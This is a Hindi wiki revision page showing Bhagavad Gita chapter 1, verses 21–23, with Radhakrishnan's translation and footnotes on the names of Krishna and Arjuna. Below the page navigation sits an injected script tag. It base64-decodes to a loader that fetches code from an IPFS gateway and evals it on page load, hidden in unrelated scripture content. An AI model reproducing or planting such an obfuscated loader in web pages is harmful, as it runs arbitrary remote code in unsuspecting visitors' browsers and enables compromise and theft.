"भगवद्गीता -राधाकृष्णन पृ. 70" के अवतरणों में अंतर

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
[अनिरीक्षित अवतरण][अनिरीक्षित अवतरण]
('<div style="text-align:center; direction: ltr; margin-left: 1em;">अध्याय -1<br /> अर्जुन की दुविध...' के साथ नया पन्ना बनाया)
 
छो (भगवद्गीता -राधाकृष्णन भाग-70 का नाम बदलकर भगवद्गीता -राधाकृष्णन पृ. 70 कर दिया गया है: Text replace - "भगव...)
 
(इसी सदस्य द्वारा किये गये बीच के २ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
 
<div style="text-align:center; direction: ltr; margin-left: 1em;">अध्याय -1<br />
 
<div style="text-align:center; direction: ltr; margin-left: 1em;">अध्याय -1<br />
 
अर्जुन की दुविधा और विषाद </div>
 
अर्जुन की दुविधा और विषाद </div>
 +
 
<poem style="text-align:center">
 
<poem style="text-align:center">
 
21.हृषीकेशं तदा वाक्यमिदमाह महीपते।
 
21.हृषीकेशं तदा वाक्यमिदमाह महीपते।
 
सेनयोरुभयोर्मध्ये रथं स्थापय मेअच्युत।।
 
सेनयोरुभयोर्मध्ये रथं स्थापय मेअच्युत।।
  
हे पृथ्वी के स्वामी, तब उसने हृषीकेश (कृष्ण) से ये शब्द कहे: ’हे
+
हे पृथ्वी के स्वामी, तब उसने हृषीकेश (कृष्ण) से ये शब्द कहे: ’हे अच्युत (कृष्ण) मेरे रथ को दोनों सेनाओं के बीच में ले जाकर खड़ा करो। अच्युत:  अविचल; यह भी कृष्ण का नाम है।<ref>1.कृष्ण के लिए प्रयोग में आने वाले अन्य नाम ये हैः मधुसूदन (मधु राक्षस को मारने वाला,) अरिसूदन  (शत्रुओं को मारने वाला) गोविन्द (ग्वाला या ज्ञान देने वाला), वासुदेव (वसुदेव का पुत्र) यादव (यदु का वंशज), केशव (सुन्दर बाल वाला), माधव (लक्ष्मी का पति), हृषीकेश  (इन्द्रियों का स्वामी हृ्रषीक$ईश), जनार्दन (मनुष्यों को स्वतन्त्र कराने वाला)।  अर्जुन के लिए प्रयोग में लाए गए अन्य नाम ये हैं भारत (भरत का वंशज), धनंजय (धन को जीतने वाला), गुडाकेश (जिसके बाल गेंद की तरह बंधे हुए हैं), पार्थ (पृथा का पुत्र), परन्तप (शत्रुओं को सताने वाला)।</ref>
अच्युत (कृष्ण) मेरे रथ को दोनों सेनाओं के बीच में ले जाकर खड़ा करो।
 
अच्युत:  अविचल; यह भी कृष्ण का नाम है।<ref>1.कृष्ण के लिए प्रयोग में आने वाले अन्य नाम ये हैः मधुसूदन (मधु राक्षस को मारने वाला,) अरिसूदन  (शत्रुओं को मारने वाला) गोविन्द (ग्वाला या ज्ञान देने वाला), वासुदेव (वसुदेव का पुत्र) यादव (यदु का वंशज), केशव (सुन्दर बाल वाला), माधव (लक्ष्मी का पति), हृषीकेश  (इन्द्रियों का स्वामी हृ्रषीक$ईश), जनार्दन (मनुष्यों को स्वतन्त्र कराने वाला)।  अर्जुन के लिए प्रयोग में लाए गए अन्य नाम ये हैं भारत (भरत का वंशज), धनंजय (धन को जीतने वाला), गुडाकेश (जिसके बाल गेंद की तरह बंधे हुए हैं), पार्थ (पृथा का पुत्र), परन्तप (शत्रुओं को सताने वाला)।</ref>
 
  
 
22.यावदेतान्निरीक्षेअंह योद्धुकामानवस्थितान् ।
 
22.यावदेतान्निरीक्षेअंह योद्धुकामानवस्थितान् ।
पंक्ति १७: पंक्ति १६:
 
धार्तराष्ट्रस्य दुर्बुद्धेर्युद्धे प्रियचिकीर्षवः।।
 
धार्तराष्ट्रस्य दुर्बुद्धेर्युद्धे प्रियचिकीर्षवः।।
  
मैं उन सबको देखना चाहता हूँ, जो यहां लड़ने के लिए उद्यत होकर इकट्ठे हुए हैं और जो दुष्ट बुद्धि वाले दुर्योधन का युद्ध में भला करने की इच्छा से आए हैं।<br />युद्ध की सारी तैयारियाँ पूरी हो चुकी है। उसी प्रातः काल युधिष्ठिर ने भीष्म द्वारा की गई दुभेंद्य व्यूह-रचना को देखा था। भय से काँपते हुए उसने अर्जुन से कहा थाः ’’इस सेना के मुकाबले में हम कैसे जीत सकते हैं?’’<ref>धनज्जय कथं शक्यमस्माभिर्योद्धु माहवे। - महाभारत, भीष्मपर्व 21,31</ref>
+
मैं उन सबको देखना चाहता हूँ, जो यहां लड़ने के लिए उद्यत होकर इकट्ठे हुए हैं और जो दुष्ट बुद्धि वाले दुर्योधन का युद्ध में भला करने की इच्छा से आए हैं। युद्ध की सारी तैयारियाँ पूरी हो चुकी है। उसी प्रातः काल युधिष्ठिर ने भीष्म द्वारा की गई दुभेंद्य व्यूह-रचना को देखा था। भय से काँपते हुए उसने अर्जुन से कहा थाः ’’इस सेना के मुकाबले में हम कैसे जीत सकते हैं?’’<ref>धनज्जय कथं शक्यमस्माभिर्योद्धु माहवे। - महाभारत, भीष्मपर्व 21,31</ref>
 
</poem>                         
 
</poem>                         
  
{{लेख क्रम |पिछला=भगवद्गीता -राधाकृष्णन भाग-69|अगला=भगवद्गीता -राधाकृष्णन भाग-71}}
+
{{लेख क्रम |पिछला=भगवद्गीता -राधाकृष्णन पृ. 69|अगला=भगवद्गीता -राधाकृष्णन पृ. 71}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>

१०:५९, २२ सितम्बर २०१५ के समय का अवतरण

अध्याय -1
अर्जुन की दुविधा और विषाद

21.हृषीकेशं तदा वाक्यमिदमाह महीपते।
सेनयोरुभयोर्मध्ये रथं स्थापय मेअच्युत।।

हे पृथ्वी के स्वामी, तब उसने हृषीकेश (कृष्ण) से ये शब्द कहे: ’हे अच्युत (कृष्ण) मेरे रथ को दोनों सेनाओं के बीच में ले जाकर खड़ा करो। अच्युत: अविचल; यह भी कृष्ण का नाम है।[१]

22.यावदेतान्निरीक्षेअंह योद्धुकामानवस्थितान् ।
कैर्मया सह योद्धव्यमस्मिन् रणसमुद्यमे ।।

जिससे मैं इन लोगों को देख सकूँ, जो युद्ध के लिए उत्सुक खड़े हैं, और जिनके साथ मुझे इस युद्ध में लड़ना है।
 
23.योत्स्यमानानवेक्षेअंह य एतअत्र समागताः।
धार्तराष्ट्रस्य दुर्बुद्धेर्युद्धे प्रियचिकीर्षवः।।

मैं उन सबको देखना चाहता हूँ, जो यहां लड़ने के लिए उद्यत होकर इकट्ठे हुए हैं और जो दुष्ट बुद्धि वाले दुर्योधन का युद्ध में भला करने की इच्छा से आए हैं। युद्ध की सारी तैयारियाँ पूरी हो चुकी है। उसी प्रातः काल युधिष्ठिर ने भीष्म द्वारा की गई दुभेंद्य व्यूह-रचना को देखा था। भय से काँपते हुए उसने अर्जुन से कहा थाः ’’इस सेना के मुकाबले में हम कैसे जीत सकते हैं?’’[२]


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. 1.कृष्ण के लिए प्रयोग में आने वाले अन्य नाम ये हैः मधुसूदन (मधु राक्षस को मारने वाला,) अरिसूदन (शत्रुओं को मारने वाला) गोविन्द (ग्वाला या ज्ञान देने वाला), वासुदेव (वसुदेव का पुत्र) यादव (यदु का वंशज), केशव (सुन्दर बाल वाला), माधव (लक्ष्मी का पति), हृषीकेश (इन्द्रियों का स्वामी हृ्रषीक$ईश), जनार्दन (मनुष्यों को स्वतन्त्र कराने वाला)। अर्जुन के लिए प्रयोग में लाए गए अन्य नाम ये हैं भारत (भरत का वंशज), धनंजय (धन को जीतने वाला), गुडाकेश (जिसके बाल गेंद की तरह बंधे हुए हैं), पार्थ (पृथा का पुत्र), परन्तप (शत्रुओं को सताने वाला)।
  2. धनज्जय कथं शक्यमस्माभिर्योद्धु माहवे। - महाभारत, भीष्मपर्व 21,31

संबंधित लेख

साँचा:भगवद्गीता -राधाकृष्णन